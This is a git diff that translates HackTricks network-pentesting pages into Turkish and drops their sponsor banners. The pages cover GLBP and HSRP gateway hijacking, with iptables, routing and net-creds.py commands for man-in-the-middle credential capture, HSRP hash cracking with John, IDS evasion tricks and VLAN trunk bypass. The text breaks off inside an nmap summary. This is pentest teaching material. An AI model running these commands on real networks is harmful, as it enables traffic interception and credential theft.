yönlendiriciyi belirleyin ve IP'sini alın. +3. Gereksiz bir ARP oluşturun. +4. AVG'yi taklit eden kötü niyetli bir GLBP paketi enjekte edin. +5. Saldırganın ağ arayüzüne, GLBP sanal IP'sini yansıtan bir ikincil IP adresi atayın. +6. Tam trafik görünürlüğü için SNAT uygulayın. +7. Orijinal AVG yönlendiricisi üzerinden internet erişiminin devamını sağlamak için yönlendirmeyi ayarlayın. -1. Switch to promiscuous mode and enable IP forwarding. -2. Identify the target router and retrieve its IP. -3. Generate a Gratuitous ARP. -4. Inject a malicious GLBP packet, impersonating the AVG. -5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP. -6. Implement SNAT for complete traffic visibility. -7. Adjust routing to ensure continued internet access through the original AVG router. - -By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. - -For demonstration, here are the required command snippets: +Bu adımları izleyerek, saldırgan kendisini "orta adam" olarak konumlandırır ve ağ trafiğini, şifrelenmemiş veya hassas verileri dahil olmak üzere, kesip analiz etme yeteneğine sahip olur. +Demonstrasyon için gerekli komut parçacıkları: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +Ağ trafiğini izlemek ve kesmek, net-creds.py veya benzeri araçlar kullanılarak, ele geçirilmiş ağ üzerinden akan verileri yakalamak ve analiz etmek için yapılabilir. -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +### HSRP Kaçırma Pasif Açıklaması ve Komut Detayları -### Passive Explanation of HSRP Hijacking with Command Details +#### HSRP (Hot Standby Router/Redundancy Protocol) Genel Bakış -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) +HSRP, ağ geçidi yedekliliği için tasarlanmış Cisco'ya ait bir protokoldür. Birden fazla fiziksel yönlendiricinin tek bir mantıksal birim olarak yapılandırılmasına ve paylaşılan bir IP adresi ile yönetilmesine olanak tanır. Bu mantıksal birim, trafiği yönlendirmekten sorumlu birincil yönlendirici tarafından yönetilir. Yük dengelemesi için öncelik ve ağırlık gibi metrikler kullanan GLBP'nin aksine, HSRP, trafik yönetimi için tek bir aktif yönlendiriciye dayanır. -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### HSRP'deki Roller ve Terminoloji -#### Roles and Terminology in HSRP +- **HSRP Aktif Yönlendirici**: Trafik akışını yöneten geçit olarak hareket eden cihaz. +- **HSRP Bekleme Yönlendirici**: Aktif yönlendirici arızalandığında devralmaya hazır yedek yönlendirici. +- **HSRP Grubu**: Tek bir dayanıklı sanal yönlendirici oluşturmak için işbirliği yapan yönlendiriciler seti. +- **HSRP MAC Adresi**: HSRP kurulumundaki mantıksal yönlendiriciye atanan sanal MAC adresi. +- **HSRP Sanal IP Adresi**: HSRP grubunun sanal IP adresi, bağlı cihazlar için varsayılan geçit olarak işlev görür. -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### HSRP Sürümleri -#### HSRP Versions +HSRP, grup kapasitesi, çoklu IP kullanımı ve sanal MAC adresi yapısı açısından farklılık gösteren iki sürümde gelir: HSRPv1 ve HSRPv2. Protokol, hizmet bilgisi alışverişi için belirli çoklu IP adreslerini kullanır ve her 3 saniyede bir Hello paketleri gönderir. 10 saniyelik bir süre içinde paket alınmazsa, bir yönlendirici pasif kabul edilir. -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### HSRP Saldırı Mekanizması -#### HSRP Attack Mechanism +HSRP saldırıları, maksimum öncelik değeri enjekte ederek Aktif Yönlendirici'nin rolünü zorla devralmayı içerir. Bu, Man-In-The-Middle (MITM) saldırısına yol açabilir. Saldırı öncesi temel adımlar, HSRP kurulumuna dair verilerin toplanmasını içerir; bu, trafik analizi için Wireshark kullanılarak yapılabilir. -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +#### HSRP Kimlik Doğrulamasını Aşma Adımları -#### Steps for Bypassing HSRP Authentication +1. HSRP verilerini içeren ağ trafiğini .pcap dosyası olarak kaydedin. +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. .pcap dosyasından MD5 hash'lerini hsrp2john.py kullanarak çıkarın. +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. MD5 hash'lerini John the Ripper kullanarak kırın. +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +**Loki ile HSRP Enjeksiyonu Gerçekleştirme** -**Executing HSRP Injection with Loki** +1. HSRP reklamlarını tanımlamak için Loki'yi başlatın. +2. Ağ arayüzünü promiscuous moda ayarlayın ve IP yönlendirmesini etkinleştirin. +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. Loki'yi belirli yönlendiriciye hedef almak için kullanın, kırılmış HSRP şifresini girin ve Aktif Yönlendirici'yi taklit etmek için gerekli yapılandırmaları yapın. +4. Aktif Yönlendirici rolünü kazandıktan sonra, ağ arayüzünüzü ve IP tablolarınızı meşru trafiği kesmek için yapılandırın. +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. Trafiği eski Aktif Yönlendirici üzerinden yönlendirmek için yönlendirme tablosunu değiştirin. +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. Kesilen trafikten kimlik bilgilerini yakalamak için net-creds.py veya benzeri bir yardımcı program kullanın. +```shell +sudo python2 net-creds.py -i eth0 +``` -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 - ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` +Bu adımları uygulamak, saldırganı trafiği kesip manipüle etme pozisyonuna getirir; bu, GLBP kaçırma prosedürüyle benzerdir. Bu, HSRP gibi yedeklilik protokollerindeki zayıflığı ve sağlam güvenlik önlemlerine olan ihtiyacı vurgular. -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. - -## References +## Referanslar - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index fd94988fa..bdea7fdde 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,57 +1,47 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +# **TTL Manipülasyonu** -{% embed url="https://academy.8ksec.io/" %} +IDS/IPS'e ulaşacak kadar TTL değeri olan bazı paketler gönderin, ancak son sisteme ulaşacak kadar değil. Ardından, diğerleriyle aynı dizilere sahip başka paketler gönderin, böylece IPS/IDS bunların tekrar olduğunu düşünecek ve kontrol etmeyecek, ancak aslında kötü niyetli içeriği taşıyorlar. -# **TTL Manipulation** +**Nmap seçeneği:** `--ttlvalue ` -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +# İmza Kaçınma -**Nmap option:** `--ttlvalue ` +Paketlere gereksiz veri ekleyin, böylece IPS/IDS imzası atlanmış olur. -# Avoiding signatures +**Nmap seçeneği:** `--data-length 25` -Just add garbage data to the packets so the IPS/IDS signature is avoided. +# **Parçalanmış Paketler** -**Nmap option:** `--data-length 25` +Paketleri parçalayın ve gönderin. Eğer IDS/IPS bunları yeniden birleştirme yeteneğine sahip değilse, son hosta ulaşacaklardır. -# **Fragmented Packets** +**Nmap seçeneği:** `-f` -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +# **Geçersiz** _**checksum**_ -**Nmap option:** `-f` +Sensörler genellikle performans nedenleriyle checksum hesaplamaz. Bu nedenle, bir saldırgan sensör tarafından **yorumlanacak ancak son host tarafından reddedilecek** bir paket gönderebilir. Örnek: -# **Invalid** _**checksum**_ +RST bayrağı ve geçersiz bir checksum ile bir paket gönderin, böylece IPS/IDS bu paketin bağlantıyı kapatacağını düşünebilir, ancak son host paketi geçersiz checksum nedeniyle reddedecektir. -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +# **Alışılmadık IP ve TCP seçenekleri** -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +Bir sensör, IP ve TCP başlıklarında belirli bayraklar ve seçenekler ayarlandığında paketleri göz ardı edebilir, oysa hedef host paketi aldığında kabul eder. -# **Uncommon IP and TCP options** +# **Çakışma** -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +Bir paketi parçaladığınızda, paketler arasında bir tür çakışma olabileceği mümkündür (belki paket 2'nin ilk 8 baytı paket 1'in son 8 baytıyla çakışıyor ve paket 2'nin son 8 baytı paket 3'ün ilk 8 baytıyla çakışıyor). Ardından, IDS/IPS bunları son hosttan farklı bir şekilde yeniden birleştirirse, farklı bir paket yorumlanacaktır.\ +Ya da belki, aynı ofset ile 2 paket gelir ve host hangisini alacağına karar vermek zorundadır. -# **Overlapping** +- **BSD**: Daha küçük _ofset_ değerine sahip paketlere öncelik verir. Aynı ofsete sahip paketler için, ilk olanı seçecektir. +- **Linux**: BSD gibi, ancak aynı ofsete sahip son paketi tercih eder. +- **İlk** (Windows): Gelen ilk değer, kalan değerdir. +- **Son** (cisco): Gelen son değer, kalan değerdir. -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. - -- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -- **Linux**: Like BSD, but it prefers the last packet with the same offset. -- **First** (Windows): First value that comes, value that stays. -- **Last** (cisco): Last value that comes, value that stays. - -# Tools +# Araçlar - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index eaf5835eb..74c165ecf 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,34 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve senaryoya bağlı olarak IP adreslerinin dinamik (DHCP) veya statik olarak ayarlanmasını içerir (**daha fazla bilgi için kontrol edin [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya portu **include** maskesi ile arayarak gerçekleştirilebilir. +**Eğer CDP çalışmıyorsa, port tanımlaması MAC adresini arayarak yapılabilir**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanarak trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir. ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**Trunk moduna geçiş yapmak, arayüz yapılandırma moduna girmeyi gerektirir**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +Trunk moduna geçmek, bağlantıyı geçici olarak kesintiye uğratacaktır, ancak bu daha sonra geri yüklenebilir. -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +Sanal arayüzler oluşturulur, VLAN kimlikleri atanır ve etkinleştirilir: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -40,27 +33,22 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +Sonrasında, DHCP aracılığıyla bir adres talebi yapılır. Alternatif olarak, DHCP'nin mümkün olmadığı durumlarda, adresler manuel olarak yapılandırılabilir: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +Bir arayüzde (VLAN 10) statik bir IP adresi manuel olarak ayarlamak için örnek: ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan ağ geçitlerine ICMP istekleri başlatarak test edilir. -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. +Sonuç olarak, bu süreç VLAN segmentasyonunun aşılmasını sağlar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve sonraki eylemler için zemin hazırlanır. -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. - -## References +## Referanslar - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 72dfbfb12..8349d675d 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -2,54 +2,54 @@ ## Multicast DNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. +**mDNS** protokolü, özel bir ad sunucusu olmadan küçük, yerel ağlar içinde IP adresi çözümü için tasarlanmıştır. Belirtilen isimle ev sahibi tarafından IP adresi ile yanıt vermesi için alt ağ içinde bir sorgu çoklu yayını ile çalışır. Alt ağdaki tüm cihazlar bu bilgiyi mDNS önbellekleri ile güncelleyebilir. -Key points to note: +Dikkat edilmesi gereken ana noktalar: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +- **Alan Adı Bırakma**: Bir ev sahibi, sıfır TTL'ye sahip bir paket göndererek alan adını serbest bırakabilir. +- **Kullanım Kısıtlaması**: mDNS genellikle yalnızca **.local** ile biten isimleri çözer. Bu alandaki mDNS dışı ev sahipleri ile çakışmalar, ağ yapılandırma ayarlamaları gerektirir. +- **Ağ Ayrıntıları**: +- Ethernet çoklu yayım MAC adresleri: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. +- IP adresleri: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. +- UDP portu 5353 üzerinden çalışır. +- mDNS sorguları yerel ağla sınırlıdır ve yönlendiricileri geçmez. -## DNS-SD (Service Discovery) +## DNS-SD (Hizmet Keşfi) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +DNS-SD, belirli alan adlarını sorgulayarak bir ağda hizmetleri keşfetmek için kullanılan bir protokoldür (örneğin, `_printers._tcp.local`). Bir yanıt, bu durumda mevcut yazıcılar gibi tüm ilgili alanları içerir. Hizmet türlerinin kapsamlı bir listesi [burada](http://www.dns-sd.org/ServiceTypes.html) bulunabilir. -## SSDP (Simple Service Discovery Protocol) +## SSDP (Basit Hizmet Keşfi Protokolü) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. +SSDP, ağ hizmetlerinin keşfini kolaylaştırır ve esasen UPnP tarafından kullanılır. UDP üzerinden port 1900'de çalışan metin tabanlı bir protokoldür ve çoklu adresleme kullanır. IPv4 için belirlenen çoklu yayım adresi `239.255.255.250`'dir. SSDP'nin temeli, UDP için HTTP'nin bir uzantısı olan [HTTPU](https://en.wikipedia.org/wiki/HTTPU)'dur. -## Web Service for Devices (WSD) +## Cihazlar için Web Servisi (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +Ağa bağlı cihazlar, Cihazlar için Web Servisi (WSD) aracılığıyla mevcut hizmetleri, yazıcılar gibi, tanımlayabilir. Bu, UDP paketlerinin yayınlanmasını içerir. Hizmet arayan cihazlar istek gönderirken, hizmet sağlayıcıları sunduklarını duyurur. ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +OAuth 2.0, hizmetler arasında kullanıcı bilgilerini güvenli ve seçici bir şekilde paylaşmayı kolaylaştıran bir protokoldür. Örneğin, birden fazla giriş yapmadan Google'dan kullanıcı verilerine erişim sağlar. Süreç, kullanıcı kimlik doğrulaması, kullanıcı tarafından yetkilendirme ve Google tarafından belirli kullanıcı verilerine erişim izni veren token oluşturulmasını içerir. ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +RADIUS (Uzak Kimlik Doğrulama Dial-In Kullanıcı Servisi), esasen İSS'ler tarafından kullanılan bir ağ erişim protokolüdür. Kimlik doğrulama, yetkilendirme ve muhasebe desteği sunar. Kullanıcı kimlik bilgileri bir RADIUS sunucusu tarafından doğrulanır ve ek güvenlik için ağ adresi doğrulamasını içerebilir. Kimlik doğrulama sonrasında, kullanıcılara ağ erişimi sağlanır ve oturum detayları faturalama ve istatistiksel amaçlar için izlenir. -## SMB and NetBIOS +## SMB ve NetBIOS -### SMB (Server Message Block) +### SMB (Sunucu Mesaj Bloğu) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +SMB, dosyaların, yazıcıların ve portların paylaşımı için bir protokoldür. TCP (port 445) üzerinden veya TCP üzerinden NetBIOS (portlar 137, 138) aracılığıyla doğrudan çalışır. Bu çift uyumluluk, çeşitli cihazlarla bağlantıyı artırır. -### NetBIOS (Network Basic Input/Output System) +### NetBIOS (Ağ Temel Giriş/Çıkış Sistemi) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +NetBIOS, kaynak paylaşımı için ağ oturumlarını ve bağlantılarını yönetir. Cihazlar için benzersiz isimler ve birden fazla cihaz için grup isimleri destekler, hedeflenmiş veya yayın mesajlaşmasını mümkün kılar. İletişim, bağlantısız (onay yok) veya bağlantı odaklı (oturum tabanlı) olabilir. NetBIOS geleneksel olarak IPC/IPX gibi protokoller üzerinden çalışırken, genellikle TCP/IP üzerinden kullanılır. Hızlı olmasıyla bilinen NetBEUI, aynı zamanda yayın nedeniyle oldukça ayrıntılıydı. -## LDAP (Lightweight Directory Access Protocol) +## LDAP (Hafif Dizin Erişim Protokolü) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +LDAP, TCP/IP üzerinden dizin bilgilerini yönetme ve erişim sağlama yeteneği sunan bir protokoldür. Dizin bilgilerini sorgulama ve değiştirme için çeşitli işlemleri destekler. Genellikle, dağıtılmış dizin bilgi hizmetlerine erişim ve bakım için kullanılır ve LDAP iletişimi için tasarlanmış veritabanlarıyla etkileşim sağlar. ## Active Directory (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +Active Directory, kullanıcılar, gruplar, ayrıcalıklar ve kaynaklar gibi nesneleri içeren, ağa erişilebilir bir veritabanıdır ve ağ varlıklarının merkezi yönetimini kolaylaştırır. AD, verilerini sunucuları, grupları ve kullanıcıları kapsayan bir alan hiyerarşisi yapısına organize eder. Alt alanlar, her biri kendi sunucusu ve kullanıcı tabanını sürdürebilir. Bu yapı, kullanıcı yönetimini merkezi hale getirir ve ağ kaynaklarına erişimi verme veya kısıtlama imkanı tanır. Belirli bilgileri almak için sorgular yapılabilir, örneğin iletişim bilgileri veya alan içindeki kaynakları, yazıcılar gibi, bulmak için. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 02535d28b..5a0d71b07 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,96 +1,90 @@ -# Nmap Summary (ESP) +# Nmap Özeti (ESP) {{#include ../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## Parametreler -## Parameters +### Tarayıcı IP'leri -### IPs to scan - -- **`,`:** Indicate the ips directly +- **`,`:** IP'leri doğrudan belirtir - **`-iL `:** list_IPs -- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +- **`-iR `**: Rastgele IP sayısı, olası IP'leri `--exclude ` veya `--excludefile ` ile hariç tutabilirsiniz. -### Equipment discovery +### Ekipman keşfi -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +Varsayılan olarak Nmap, `-PA80 -PS443 -PE -PP` içeren bir keşif aşaması başlatır. -- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -- **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -- **`-n`**: No DNS -- **`-R`**: DNS always +- **`-sL`**: İnvaziv değildir, isimleri çözmek için **DNS** istekleri yaparak hedefleri listeler. Örneğin www.prueba.es/24'te tüm IP'lerin hedeflerimiz olup olmadığını bilmek için faydalıdır. +- **`-Pn`**: **Ping yok**. Hepsinin aktif olduğunu biliyorsanız faydalıdır (değilse, çok zaman kaybedebilirsiniz, ancak bu seçenek aynı zamanda aktif olmadıklarını söyleyerek yanlış negatifler de üretebilir), keşif aşamasını engeller. +- **`-sn`** : **Port taraması yok**. Keşif aşamasını tamamladıktan sonra portları taramaz. Göreceli olarak gizlidir ve küçük bir ağ taramasına izin verir. Yetkilerle 80'e bir ACK (-PA), 443'e bir SYN(-PS) ve bir echo isteği ve bir Zaman damgası isteği gönderir, yetkisizse her zaman bağlantıları tamamlar. Hedef ağsa, yalnızca ARP(-PR) kullanır. Başka bir seçenekle kullanıldığında, yalnızca diğer seçeneğin paketleri düşer. +- **`-PR`**: **Ping ARP**. Ağımızdaki bilgisayarları analiz ederken varsayılan olarak kullanılır, ping kullanmaktan daha hızlıdır. ARP paketleri kullanmak istemiyorsanız `--send-ip` kullanın. +- **`-PS 